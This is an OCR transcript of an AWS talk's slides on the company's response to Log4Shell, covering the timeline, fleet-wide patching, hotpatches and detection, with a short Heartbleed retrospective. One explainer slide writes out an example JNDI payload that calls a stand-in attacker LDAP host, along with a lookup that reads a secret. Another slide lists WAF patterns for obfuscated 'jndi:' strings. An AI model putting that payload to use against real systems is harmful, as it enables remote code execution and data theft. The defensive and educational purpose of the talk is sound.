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I"'m Abby, I'm a Senior Principal Security
Engineer at AWS.

| mostly work on security for Amazon EC2.

Along with a handful of other security-minded Principal Engineers, |
also work on a cross-AWS team we’ve called “Ghostbusters.”

abbyfull@
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We use Ghostbusters as a security big red button.

We handle escalations, we help assess impact and blast radius, and work with service
teams and AWS Security.

In events like Log4Shell, we help lead the response. More on that later.

W b s
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EXIT 6A

' ' SECURITY RESPONSE AT AWS

LOGASHELL

ROAD CLOSED
USE ALTERNATE ROUTE EXIT ONLY
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At AWS, most event response takes place on conference calls

That process looks something like this:

TOS CALL DASHBOARD CALL
"Tech Operations Call" "The everything else call"

|

—g

Goa
aee

)

Focused on mitigation and recovery Focused on service health and customers
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SecOps is engaged via ticket on a

AWS Sec u rit O e ratiO n S potential security issue. This can be

by a service team, customer, reporter
tooling, etc.

Under ordinary circumstances, security response at AWS is
handled by Security Operations (SecOps). Ticket is triaged by SecOps, SecOps

engages escalation (like
Ghostbusters) if needed.

SecOps is global, and is staffed 24/7. Shift rotations follow
the sun, so you always get someone who is awake, during

. . SecOps engages service team, SecOps
thelr nOrmaI daytlme hOUFS. and service team align on risk,
urgency, proposed mitigations or fixes,
and any communication.

Service team completes any
mitigations, leadership engagements,

and messaging. SecOps tracks all
action items through to completion.
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Potential events are treated as serious until proven otherwise

[ How big of a deal is it? A O day? Biz as ]

usual?

" You've paged and A

ticketed people. Is it still a
Big Deal?

. J

— - (Immediate action required?) -

@) i) (21

- [ Immediate concern mitigated? J
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usual?

[ How big of a deal is it? A O day? Biz as ]

" You've paged and A

ticketed people. Is it still a
Big Deal?

) i) (20

. J

— - (Immediate action required?)

Extraordingdry circumstances

- [ Immediate concern mitigated? J
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Is a fix available?] -

- [Is a fix available?] -

=) (e ) @D

_ [ Campaigns and communications prepped? Everything ready? ]

ﬁ

|

Builds ready? Fleets ready?
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This isn’t the first time we’ve had to respond
quickly.
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APR 3320

April 7, 2014: Heartbleed 7

Heartbleed was a memory disclosure issue with the OpenSSL implementation of Heartbeats.
Heartbeats were designed for things like keep alive, and allow a sender to request a specific
response (a string, plus the strings length as an integer) from a receiver. The OpenSSL issue
returned the payload, plus the length, plus the memory buffer associated with the length. There
was no bounds verification around the payload length — you could get up to 64 kb.

This let you request a payload with a very large length, and receive the contents of the
corresponding memory buffer. Since this was likely memory that OpenSSL had used previously,
vou could get private keys, usernames and passwords, certificates, etc., and continue to
eavesdrop on your target until they patched the bug and rotated all the materials.

\ 4
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Simplified, Heartbleed looks something like this:
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Regular TLS heartbeat request

Hello! Say opensesame if you're listening.
opensesame is 10 characters long.

I'm listening. opensesame.

Heartbleed request

Hello! Say opensesame if you're listening.
opensesame is 122 characters long.

['m listening. opensesame. user beetle
(administrator) wants to set server master
key to 'admin'.user eric wants to set user

password to ‘'hunterl’

© 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.

has requested pages for
'masterson-carr'’

user abby requests *‘\\\
opensesame. user beetle
(administrator) wants to set
server master key to 'admin'.
user eric wants to set user
password to 'hunterl'. user

laura has connected. user
colm has connected. user eric

user abby requests
opensesame. user beetle
(administrator) wants to set
server master key to 'admin'.
user eric wants to set user |
password to 'hunterl’. user f

laura has connected. user

colm has connected. user eric
has requested pages Fai////

'masterson-carr'




Patching Heartbleed was a mad dash for the internet

For Heartbleed, we hotpatched. Two line fix, millions of deployments, patched in hours. The
night of Heartbleed, we scanned the entire Amazon EC2 IP space so we could send emails to
every potentially impacted customer. Benevolent chaos.

Colm MacCarthaigh @colmmacc - Apr 7, 2019

&/ Within Amazon, we have our own package system called Brazil. At the time

) a part of Amazon.com (retail) owned our internal OpenSSL package, but
over on ELB we took it over that day and came up with a minimal 2-line hot-
patch. Didn't want new risks.

Q 2 1 3 QO 83 qy

Colm MacCarthaigh @colmmacc - Apr 7, 2019

/ Within about an hour, deployments with the hot patch were in progress,
| and it went out quicker than I've seen anything. Within a matter of hours,
AWS was 100% patched. Even 5 years ago, this was millions of
deployments. Amazingly, there were no reports of customer impact either.

Q 5 1 36 QO 269 Ty

colmmacc@ 2019 thread on Heartbleed
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https://twitter.com/colmmacc/status/1114946299189706755

Over the last decade, the industry has had an assortment of
security events of various sizes. Most, however, have required
specialized knowledge or configurations to exploit. Heartbleed (and

log4dj) were special in that they were easy to take advantage of. No
micro architectural knowledge required.

Y @
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So far, we've only covered the reactive part of security: an issue
comes in, and we respond.

But there is a proactive element, too. Both in predicting what issues
might be coming, and in identifying when issues are being

exploited.
£y @
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How can we predict when (or if) something will happen?

More often than not, we can comb through different sources and signals to find potential
predictors of what might be coming:

CVE FEEDS MAILING LISTS 0SS PROJECT FEEDS
RESEARCHER OR PARTNER REPORTS VENDOR REPORTS

INTERNAL REPORTS SCANNERS || BUG BOUNTY REPORTS
INTERNAL INTELLIGENCE PROJECTS + MANY OTHERS
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From there, it’s basically detective work m
with a constant feedback loop

Look for
indicators of an

Look through sources, find something interesting, pivot, 1ssue happening.

repeat. This is largely how things work in both ordinary,
every day circumstances where we are trying to predict 5‘
what might happen, and in events like Heartbleed and §

Log4Shell, where we might be trying to predict if an issue ; Look for

has been exp|0ited, . Joccurrences of the
. |indicator in logs,

etc.

The different data sources is where things get interesting.

What else 1is
connected to that
indicator?! A new
I0OC, an IP
address, etc.

Can we learn
anything from that
connection?

REPEAT!

v e e ®
® gaanscsscsssssgeosvsesame”
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Logd4Shell day O: what IS logdj anyway?
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Our cast of characters

Apache Log4j: a logging implementation for Java

Developers can log different levels of data from inside their applications. This
includes things like user input, or HTTP requests.

Log4j v1: original implementation, EOL in 2015, but still widely used in Linux
distributions like RHEL, Amazon Linux, etc.

Log4d v2: re-write, released in 2014. Not APIl-compatible with v1, which
contributed to wider-than-preferred used of vl post-EOL.

JNDI: Java Naming and Directory Interface

API that lets Java applications lookup Java objects and names at runtime.

The JDK provides a few directory types out of the box, like DNS and LDAP.

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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First public tweet
referencing a logdj RCE

(remote code execution)

First ticket cut to
Ghostbusters to

AWS begins applying

AliBaba reports the investigate the hotpatch to
first logd) issue AWE Flect patchs running fleets
- - ee atchin o : :
t(hcevi\ 2aeczhle u;lozuznsd)attioon begipns ° regular patching i
P Nov 29 Dec 10 continues. Dec 14 CVE drops.
Nov 24 Apache Foundation Dec 09 : Dec 11 Third and fourth Dec 17
P AWS publishes the loglj issues drop:

publishes the first first logd4j hotpatch

to fix running JVMs
without a restart.

CVE-2021-45046 and
CVE-2021-4104

and second fixes for
CVE-2021044228

AWS is not
impacted, since our
initial fix removed

the entire class
affected by the
first RCE.

Second logdj RCE
(CVE-2021-44832) is
published.
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/ First public tweet

referencing a logidj RCE
N (remote code execution)

AliBaba reports the
first logldj issue
(CVE-2021-44228) to
the Apache Foundation

Nov 29

I First ticket cut to

AWS fleet patching

Ghostbusters to

investigate AWS begins applyin

the hotpatch to
running fleets,
regular patching
continues.

begins

Dec 10

Nov 24

Apache Foundation
publishes the first

and second fixes for
CVE-2021044228

dWs
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AWS publishes the
first logdj hotpatch
to fix running JVMs
| without a restart.

Second logdj RCE

(CVE-2021-44832) is
published.




“JNDI features used in configuration, log messages, and paramete
protect against attacker controlled LDAP and other JNDI related en
An attacker who can control log messages or log message parameter.
execute arbitrary code loaded from LDAP servers when message lookup

substitution is enabled.” *

CVE-2021-44228 (also known as “Log4Shell”)

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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Tl;dr: remote code execution via lookups. Log4j allows for users to pass input (like http requests) that will get
evaluated (“looked up”) and logged at runtime.

With Log4Shell, those inputs were not properly validated.

Lookups look something like this:

Out of the box, logdj provided functionality
for some types of remote lookups:

S{env:SUPER SECRET KEY}

jndi:
JndiLookup works basically the same way: »{Jndi

S{jndi:java:server-
123/env/SUPER SECRET KEY}

Regular lookups JndiLookup

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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ldap://doingbadstuff.com/payload

GET /HTTP
Host: vulnerable target server
user-agent:${jndi:ldap: //doingbadstuff.com/payload}

user

vulnerable logdj Looks up string in user-agent
queries doingbadstuff.com ldap server
fetches payload

-
T

payload executes bad stuff on target server

vulnerable target server

user-controlled ldap server
doingbadstuff.com

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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First public tweet
referencing a logidj RCE

(remote code execution)

First ticket cut to
Ghostbusters to

AliBaba reports the investigate
first logldj issue
(CVE-2021-44228) to
the Apache Foundation

AWS begins applyin
the hotpatch to
running fleets,
regular patching
continues.

AWS fleet patching
begins

Dec 10

Nov 29

Nov 24 Apache Foundation ol AWS publishes the

publishes the first first loguj hotpatch
to fix running JVMs
without a restart.

and second fixes for

CVE-2021044228 |

Second logdj RCE

(CVE-2021-44832) is
published.

dWS
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First public tweet
referencing a logidj RCE
(remote code execution)

First ticket cut to

Ghostbusters to
investigate

AWS begins applying

AliBaba reports the the hotpatch to

first logldj issue
(CVE-2021-44228) to
the Apache Foundati

running fleets,
' begins regular patching
2 Nov 29 Dec 10 continues. Dec 1

AWS fleet patching

Nov 24 Apa?he Foundat:i.on Dec 09 AWS publishes the - 11;?%:2:19
publishes the first first logdj hotpatch CVE—%021-45
and second fixes for to fix running JVMs CVE-2021

CVE-2021044228 without a restart.
AWS 1is
Second logidj RCE impacted, s
(CVE-2021-44832) is initial fix
\ published. 4 the entire
affected |
adWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. first |
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NOV Ccee

The Apache Foundation publishes the first (and second) fixes to m
the log4j repos.

In the best tradition of patches for security issues, the first commit message is innocuous:

H apache /logging-log4j2  Public 0\ Notifications % Fork 1.4k

<> Code 9 Pullrequests 68 (») Actions [ Projects (@ Security |~/ Insights

LOG4J2-3198: Log4j2 no longer formats lookups in messages by default #60/

S el carterkozak wants to merge 1 commit into apache:release-2.x from carterkozak:L064J2-3198 [J

L) Conversation 15 -0- Commits 1 [l Checks 14 Files changed 11

carterkozak commented on Nov 29, 2021 Contributor = <°* S-S

e

The original fix PR

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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From November 29th until the first tweets start appearing on
December 9th, the logdj issues fly mostly under the radar.

aWS, © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved
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AliBaba reports the
logldj issue

first

(CVE-2021-144228) to

First public tweet
referencing a logidj RCE

(remote code execution)

First ticket cut to
Ghostbusters to
investigate

the Apache Foundation

© 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.

Nov 29

Nov 24

Apache Foundatio

publishes the first

and second fixes
CVE-2021044228

AWS fleet patching
begins

. Dec 09

for

Dec 10

AWS publishes the
first logdj hotpatch
to fix running JVMs

without a restart.

Second logd4j RCE

(CVE-2021-44832) is
published.

AWS begins applying
the hotpatch to

running fleets,
regular patching
continues.

Dec 1

Third and
logldj issue
CVE-2021-45
CVE-2021

Dec 11

AWS 1is
impacted, s
initial fix

the entire
affected |
first |
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AliBaba reports the
first logldj issue

(CVE-2021-44228) to
the Apache Foundation

Nov 24

© 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.

Nov

R9

Apache Foundati
publishes the first

and second fixes for
CVE-2021044228

First public tweet
referencing a logidj RCE
(remote code execution)

First ticket cut to

Ghostbusters to
investigate

AWS fleet patching
begins

Dec 09

Second logd4j RCE
(CVE-2021-44832) is
published.

Dec 10

l"r; publishes the

first logdj hotpatch
to fix running JVMs
without a restart.

AWS begins applying
the hotpatch to

running fleets,
regular patching
continues.

Dec 11

Dec 14

Third and fourtl
logldj issues droj
CVE-2021-45046 ai

CVE-2021-4104

AWS is not
impacted, since ¢
initial fix remoy

the entire clas:
affected by the
first RCE.
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DEC ::3°

n Log4Shell day 1: here we go!
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The first Twitter mention of a
potential log4j issue.

This catches people's attention. A few things
make this one stand out: it references an RCE
(“remote code execution”), and it doesn’t specify

DEC :::¢

Please set log4j2.formatMsgNoLookups to true, or you
should upgrade to Iog4j 2 15 O-rcft
ipache/ if‘;“ﬁ

apache |og4j2 RCE vuInerablllty 77

to defend the latest

an individual version of log4,. apache/logging- //

2 is an upgrade to Log4j that provides

Bonus points: log4j is really, really widely used.

ny...
w 3k % 1k

RI Ig412150 rcl - apache/logging-log4j2
opy for tag log4j-2.15.0-rc1

[maven— elease-plugin] ¢

7:40 AM - Dec 9, 2021 - Tw

er Web App

The first tweet (that | can find)
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Marc cuts the first AWS
Ghostbusters ticket.

Tickets > Log4j2 RCE?

8 Log4j 2 RCE?

The original Ghostbusters ticket. There are older tickets from tooling and scanners,
but this is the first 5-alarm fire.

| don't know any more about this than what the tweet says: https://twitter.com/80vul/status/1468968891489857537

If this is true, though, a log4j RCE could be a big deal.

aWws This is foreshadowing

© 2022, Amazon Web Services, Inc. or its affiliates. An nigrniw reserveu.
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DEC :::¢

| don't know any more about this than what the tweet says: https://twitter.com/80vul/status/1468968891489857537

If this is true, though, a log4j RCE could be a big deal.

Good instincts aside, this is not a stellar example of a security report, Marc.

This part is EXTRA important. We don’t know there’s anything here yet -
Marc saw a potential issue, reported it immediately, and we escalated
until we got to ground. In this case, it wasn’t a false alarm, but the process
would have been the same either way. Something is an issue until proven
otherwise.

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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First briefing for the
rest of AWS senior
leadership

Briefings continue twice per day through
the first week of Log4Shell.

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved
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jndi:
%oandi :
j%6edi :
%baXoed1 :
jn%641 :

The first mitigation peintil

rolls out snas:
7%6ed%69
%oa%bed%o69 :

Even before we understand the full picture, pro-active -

mitigations went out. The first pass was a set of traffic- mbigitn,

filtering rules. JndiX3a

%oandi%3a
j¥%6edi%3a
%6aX%oedi%3a
jn%641%3a
%6an¥%641%3a
j%6e%641%3a
%6a%6e%641%3a
jnd%69%3a
%6and¥%69%3a
1%6ed%69%3a
%6a%6ed%69%3a
Jn%64%69%3a
%6an%64%69%3a

dWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. ]%6&%64—%69%3{]
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Ghostbusters start
the first TOS call

&  abbyfull
’ 2021-12-09 1:22:10 PM (UTC-08:00)
Conference Call Information

That’s me.

In the end, the first call runs continuously for nearly 3 DAYS.
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Ryan proposes the first internal
patch.

[0a903ec by ] Remove JndiLookup

Thanks Ryan!

This initial patch disables the ENTIRE JndiLookup class.

aW% © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved



DEC 2::.

L]

TOS call decides to patch both
vl and v2

The initial upstream CVE-44228 was only issued for logdj v2. However, it
didn’t take us long on the TOS call to decide that we needed to patch
both vl AND v2.

dWs
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DEC Ccoo

Event response typically follows a rough pattern at AWS: u

MITIGATION DETECTION PREVENTION REPAIR
. Stop the bleeding. Can we detect if this
Ifrevent new ° issue happens again? Do we know root cause? Identify and fix any
occurrences of an issue Are there warning Close whatever gap led to existing impact.
. ’ : the issue happening in the
or prevent an issue from signs? .
first place.

getting worse.

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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At this point, we have a short-term
mitigation in place: the WAF filters
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If there are attempts to leverage
Log4Shell, can we catch them?

We think yes! A handful of AWS Security
teams spin off to look at this.

aWS’ © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.



is our logudshell patch
sufficient? does it
catch everything?

If we catch exploit
attempts, can we use
that as a pattern to
find similar attempts?

do we know what a
logldshell exploit
attempt would look like?

what are potential
logldshell "indicators of
compromise" (IOCs)?

are there common IPs
that exploit attempts
are coming from?

what else do those IPs
do?

for any potential IOC, IP, or other breadcrumb, how can
we:
a) efficiently go through our logs to check for results

b) patch any gaps
c) take action against any actors

rinse and repeat.

dWs
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DEc . o000

The investigation and analysis work is one of the first branches u
off our main event call.

The work that comes out of this ends up being
one of the coolest parts to come out of this.

By the end of the initial event response, this
tooling had identified and blocked over 2 billion
attempts to leverage Log4Shell.

dWs
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We have mitigation and detection. With the patch
rolling out, we move on to prevention.
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DEC :::¢

Mass deployment prep begins
for AWS teams

[CRITICAL] Log4j / JNDI Security Issue Upgrade Campaign

First of many.

dWs
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What happens when you have to prioritize work across so
many services?

From the first day of Log4Shell, it was clear that we needed to be extra thorough. Ultimately,
everything needed to be running a properly patched version of log4j, even if they weren’t

directly impacted.

Everything is hard, though, and there are a few constraints:

Availabilityl

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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What happens when you have to prioritize work across so many services? u

- ek EF b O oS D e o D e & Hh a6 e G e e T e T uT e e T AR eSS Ae S AaSD D AaSw B Ry

] WAVE ONE

Network-connected services that directly take customer input.
Large, low-level fleets.
Stateful services with strict durability requirements.
Common dependencies for other services. )

------------------------------------------------------------------

"-----
- oy s - a-m > --'

FE SR R B B B B N I N N B B N N W W W N W O W Froaneaeareart e A B B W N W R R N NN N NN R NN Y

f WAVE TwWO

Network-connected services that don't directly take customer input.
Network-connected internal-only services
Container images
\ Lambda functions. /

s U R A A W @ O,
P pp————

-~ - e > - - e e - e -y EeaD e hE s aE s Ea . v ----------------‘-—‘

f WAVE THREE )

Non-network-connected services
Developer desktops and test environments
Less common dependencies for other services.

‘_----“‘
" e e am am > a amm W

aWS S oy o s S W O W B D R e aEs D R S P R S D W E S e s e
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DEC :::¢

Coordinating across this many teams is a massive effort u

Starting a campaign involving this many resources means tens of thousands of
tickets. That means thousands of on-calls (and thousands of questions).

Good campaigns have good documentation. That means clear, easy-to-follow
directions for resolving an issue, answers to common questions, and somewhere

to send people to get help.

| wasn’t kidding, these were BUSY. This isn’t the peak, just the peak of

“Abby remembered to document”.

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
v‘?



m AWS change control takes effect u

To handle the volume of builds and upcoming service deployments, “change

control” takes effect to prioritize any log4dj response. This means that other

builds and deployments are paused, and leadership approval is required to
override the setting.

dWs
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The response team starts to contact large teams u
~ directly.

One of the benefits of having (very) distributed teams is that we’re able
to work around the clock in emergencies. At around 20:00 in Seattle, we
start contacting large fleets to work through deployment plans.

Amazon EC2 is split between Seattle and Cape Town. During Log4Shell,
we take advantage of this and patch during the SAST daytime (+9 from
SEA). Ultimately, the vast majority of Amazon EC2 patches that first night.

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved
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AliBaba reports the
first logidj issue

(CVE-2021-144228) to

First public tweet
referencing a logidj RCE

(remote code execution)

First ticket cut to
Ghostbusters to
investigate

the Apache Foundation

Nov 24

© 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.

Nov 29

Apache Foundatio

publishes the first

and second fixes
CVE-2021044228

AWS fleet patching
begins

AWS begins applying
the hotpatch to

running fleets,
regular patching
DEC 1@ continues. Dec 1“

Dec 09 , Dec 11 Third and fourtl

) AWS publishes the logdj issues droj
p first logidj hotpatch CVE=2021-U50U6 ar
gt to fix running JVMs CVE—2021-1101

Second logd4j RCE

: impacted, since
(CVE—2921T44332) 1S initial fix remo:
published. the entire clas:

without a restart.

AWS is not

affected by the
first RCE.

e —— e




First public tweet
referencing a logidj RCE

(remote code execution)

I First ticket cut to
Ghostbusters to

AliBaba reports the investigate
first logldj issue —

(CVE-2021-44228) to AWS fleet Patchin-
the Apache Foundation Nov 29 begins Dec 10

Nov 24 Apache Foundation Dec 09
publishes the first

AWS begins applying
the hotpatch to
running fleets,
regular patching
continues.

€
Dec 14 &

1 Third and fourth
logldj issues drop:
CVE-2021-45046 and

CVE-2021-4104

AWS publishes the
first logdj hotpatch
to fix running JVMs
| without a restart.

and second fixes for
CVE-2021044228

AWS is not
impacted, since our
initial fix removed

the entire class
affected by the
first RCE.

Second logdj RCE

(CVE-2021-44832) is
published.
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dWs
>



) Volker tweets his log4j hotpatch.
This lets you patch a running JVM without a restart (patch in place)

Volker Simonis

\ @volker_simonis

I've written a simple (i.e. standalone, no dependencies)
Java program which patches JndiLookup.lookup() to
return a fixed string and not parse its arguments. This
should fix CVE-2021-44228 (i.e. RCE in Log4j) without
restarting your JVM process. #L.og4)

:= README.md

Using the Attach API & Instrumentation to fix the
Log4j RCE vulnerability without restart

Log4jHotPatch

|

This is a tool which injects a Java agent into a running JVM process. The agent will attempt to patch the lookup()

method of all loaded org.apache.logging.log4j.core.lookup.JndiLookup instances to unconditionally return the
string "Patched JndiLookup::lookup()". It is designed to address the CVE-2021-44228 remote code execution I've created a POC which injects a Java agent into a running JVM process. The agent will patch the ~ Lookup ()~ method of

vulnerability in Log4j without restarting the Java process. This tool will also address CVE-2021-45046. all loaded org.apache. logging. log4j.core. lookup.JndiLookup instances to unconditionally return the string
"Patched Jndil.ookup::lookup()". This should fix the RCE vulnerability lity in Log4j without restarting the Java process.

simonis/ é
LogdjPatch S

21-44228 (Logdj RCE

anttof

|

iing JVM process This has been currently only tested with JDK 8, 11, 15 and 17 on Linux!

The hotpatch at its new, permanent home: The first internal proposal

GitHub - simonis/Log4jPatch: Deploys an agent to fix CVE-2021-44228 (Log4;j ...
Deploys an agent to fix CVE-2021-44228 (Log4j RCE vulnerability) in a running
JVM process - GitHub - simonis/Log4jPatch: Deploys an agent to fix CVE-2021...

The original tweet

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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The Seattle crew is back on-shift. We wake up to m
both Volker tweeting his patch and to the news

that S3 is rolling out the live patch alongside the

main one.

HOTPATCH

REGULAR
PATCHING

=

5 MILES

1 MILE
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<4 Responding to the security event

Are we reporting on progress?

What metrics do we have to track progress?

¢4 The hard stuff

Are developer questions being answered in support rooms?
Are new FAQs being added to documention?

Are teams patching fast enough? Are there outliers?
Is our patching causing operational issues? How can we tell?
Are new bugs or patching 1issues triaged? Are the build systems ok?

Have we found all the hidden dependencies that have logidj?
Are there good campaign instructions? Have they been tested?
Can we identify the right order to patch? Dependencies first, etc.

Are we getting the right engagement from service teams?

Do we have clear ownership for tasks and action items?

Is leadership getting timely updates?

© 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.




Builder Tools starts
second of deployments

All non-Log4Shell
® builds stopped

BUILDS CLOSED i
¥ _| LOG4J TRAFFIC
ONLY

aW% © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved
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“We have a patch, now what?”

£, Laura Grit v

AWS is a big place, and making things
happen requires special skills! Enter Laura.

30 Abby Fuller 08:23

L[]
ﬂ Laura Grit o0s:

A Abby Fuller 08:23

y log4j
ﬂ Laura Grit 08:24

+

A less-dramatic reproduction of how | actually
asked for help during logdjshell

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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At 19:00 PST or so, the second log4j CVE drops.

CVE-2021-44832: Some non-standard configurations of log4j are
vulnerable to RCE if they use JDBC Appender with a JNDI LDAP source.

AWS removed the JndiLookup class entirely, so this was covered in our
existing patch.

aW% © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved
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AliBaba reports the
first logidj issue

(CVE-2021-144228) to

the Apache Foundation

Nov 24

© 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.

Nov 29

Apache Foundatio

First public tweet
referencing a logdj RCE
(remote code execution)

First ticket cut to

Ghostbusters to
investigate

AWS fleet patching
begins

Dec 10

AWS begins apply

ing

the hotpatch to

running fleets,

regular patching | F1
Dec 14 £

continues.

4 om &9 / AWS publishes the "\ Dec 11
publishes the first £

and second fixes
CVE-2021044228

for

irst logdj hotpatch
to fix running JVMs
| without a restart.

Second logdj RCE

(CVE-2021-44832) is
published.

Third and fourth
logldj issues drop:
CVE-2021-45046 and

CVE-2021-4104

AWS is not
impacted, since our
initial fix removed

the entire class
affected by the
first RCE.




First public tweet
referencing a logidj RCE

(remote code execution)

First ticket cut to
Ghostbusters to

AliBaba reports the investigate
first logdj issue

AWS begins applying
the hotpatch to

AWS fleet patching
begins

(CVE-2021-44228) to
the Apache Foundation

running fleets, -
regular patching Fifth 1
Dec! 10 continues. Dec CVE dr

afid fourth Dec
ssues drop:
021-45046 and
CVE-2021-4104

Nov 29

Nov 24 Apache Foundation Dec 09

: ) AWS publishesid
publishes the first first logdj hotpe
and second fixes for to fix running JVM

CVE-2021044228 without a restart.

AWS is not

Second logij RCE impacted, since our

(CVE—2021T4”832) Lo initial fix removed
published. the entire class

affected by the

aWS, © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved. 'Fj.rSt RCE .
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m Log4Shell day 3: are we still doing this?
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Global hotpatching is a go. After testing, working on

packaging, and figuring out a safe strategy for this many
parallel deployments, we’re off!

Hotpatching starts a few hours earlier, but it starts

picking up speed around 15:00, after we’ve safely made
it through multiple Regions.

5 Global Hotpatching Organization

Announcements

The goal here is to design and implement global hotpatching by tomorrow afternoon.

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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With Laura on the job, we turn the attention of the non-

hotpatching thread to tracking down stray
dependencies, Amazon Elastic Container Service

(Amazon ECS) tasks, and developer desktops.

We cut a set of tickets to a third wave of teams, this time

for ECS tasks.




DEC ccoe

From December 11th to December 14th, patching clean-up
continues. We track down stray tasks and functions and go
through developer desktops.

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved
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“I've patched, now what?”

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved
v‘j




Follow up investigations for
service teams start.

A separate thread splits off the main group to help service teams with
any follow up investigation.
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m Log4Shell day 4: Lambda gets creative
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Lambda doesn’t include log4j in its managed runtimes or base m
container images

However, Lambda customers do. On December 12th, we
make a change to the Lambda managed runtimes and
images that would mitigate the Log4Shell issue for
vulnerable customers. For customers on managed
runtimes, this change applied automatically.

AWS Lambda

AWS Lambda does not include Log4j2 in its managed runtimes or base container images. These are therefore not affected by the issue described in CVE-2021-44228 and CVE-2021-
45046.

For cases where a customer function includes an impacted Log4j2 version, we have applied a change to the Lambda Java managed runtimes and base container images (Java 8, Java 8 on

AL2, and Java 11) that helps to mitigate the issues in CVE-2021-44228 and CVE-2021-45046. Customers using managed runtimes will have the change applied automatically. Customers

using container images will need to rebuild from the latest base container image, and redeploy.

The December 12th security bulletin for Lambda

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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First public tweet
referencing a logidj RCE

(remote code execution)

First ticket cut to
Ghostbusters to

AliBaba reports the investigate
first logldj issue

AWS begins applying
the hotpatch to

AWS fleet patching
begins

(CVE-2021-44228) to
the Apache Foundation

running fleets, -
regular patching Fifth 1
Dec 10 continues. Dec 14 CVE dr

Third and fourth
ublishes the first ikt Tl s il . loglj issues drop: i
: e CVE-2021-45046 and

to fix running JVMs CVE-2021-410L
without a restart.

Nov 29

Nov 24 Apache Foundation Dec 09

and second fixes for
CVE-2021044228

. AWS is not
Second logd4j RCE

: impacted, since our
(CVE_2021f””832) 15 initial fix removed
published. the entire class

affected by the
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First public tweet
referencing a logidj RCE
(remote code execution)

First ticket cut to

Ghostbusters to
investigate

AWS begins applying
the hotpatch to
running fleets

AliBaba reports the
first logdj issue

e

(CVE-2021-4u4228) to AWS fleet patching

Fifth logtj
CVE drops.

the Apache Foundation begins
: Nov 29 Dec 10 Dec 14
' Third and fourth
Nov 24 Apache Foundation Dec 09 AWS publishes the Jec 11 Dec 1

logldj issues drop:
CVE-2021-45046 and
CVE-2021-4104

publishes the first first logd4j hotpatch

to fix running JVMs
without a restart.

and second fixes for
CVE-2021044228

AWS is not
impacted, since our
initial fix removed

the entire class

affected by the
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Second logdj RCE
(CVE-2021-44832) is
published.




s L0g4Shell day 6: the light at the end of the

m tunnel is a train.
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On December 14th, two additional log4j CVEs drop u

CVE-2021-45046: the original patch for CVE-44228 was incomplete. RCE was
still possible In some non-standard configurations where an attacker controls a
lookup context or thread context.

CVE-2021-4104: in some non-default configurations in log4j vl, where
JMSAppender is enabled, and an attacker has write access to the log4)

configuration file, Topic settings can be leveraged for INDI lookups, and RCE is
possible.

AWS is NOT impacted by either of these, since the entire JndiLookup class had
been removed by our first patch, and because we included v1 from the
beginning.

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved
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Hotpatch rpm published for customer use 14

Amazon Linux 1 and Amazon Linux 2 are
Amazon Linwa2 A not affected by Log4Shell by default, but
some customers use their own versions.

> yum 1nstall log4dj-cve-
2021-44228-hotpatch

On December 14th, we publish the rpm

version of the hotpatch for easy
consumption by Amazon Linux customers.

rom hotpatch

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved
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First public tweet
referencing a logidj RCE
(remote code execution)

First ticket cut to

Ghostbusters to
investigate

AWS begins applying

AliBaba reports the the hotpatch to

first logidj issue

(CVE-2021-44228) to AWS fleet patching

running fleets, : -
regular patching Fifth logij
Dec 10 continues. Dec 14 CVE drops.

the Apache Foundation begins
P Nov 29
. Third and fourth
Nov 24 Apache Foundation Dec 09 AWS publishes the Dec 11 Dec 17

logldj issues drop:
CVE-2021-45046 and
CVE-2021-4104

publishes the first first logd4j hotpatch

to fix running JVMs
without a restart.

and second fixes for
CVE-2021044228

AWS is not
impacted, since our
initial fix removed

the entire class

affected by the
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Second logdj RCE
(CVE-2021-44832) is
published.




AliBaba reports the
first logldj issue

(CVE-2021-44228) to
the Apache Foundation

Nov 29

Nov 24

and second fixes for
CVE-2021044228
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Apache Foundation
publishes the first

First public tweet
referencing a logidj RCE
(remote code execution)

First ticket cut to

Ghostbusters to
investigate

AWS fleet patching
begins

Dec 10

om & AWS publishes the

to fix running JVM
without a restart

Second logd4j RCE

(CVE-2021-44832) is
published.

first logdj hotpatch

AWS begins applying
the hotpatch to

running fleets,
regular patching
continues.

Fifth logij
Delé 14 CVE drops.

Dec 17

Third and, fourth
logldj issueg drop:
CVE-2021-4504¢, and

S CVE-2021-410L

Dec 11

AWS is not
impacted, since our
initial fix removed

the entire class
affected by the
first RCE.
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On December 17th, an additional logd4j CVE goes m
public:

CVE-2021-45105: some configurations of log4j are vulnerable to a denial-of-
service (DoS) issue through uncontrolled recursion, if an attacker passes a
specially-crafted string. This requires control over the thread context.

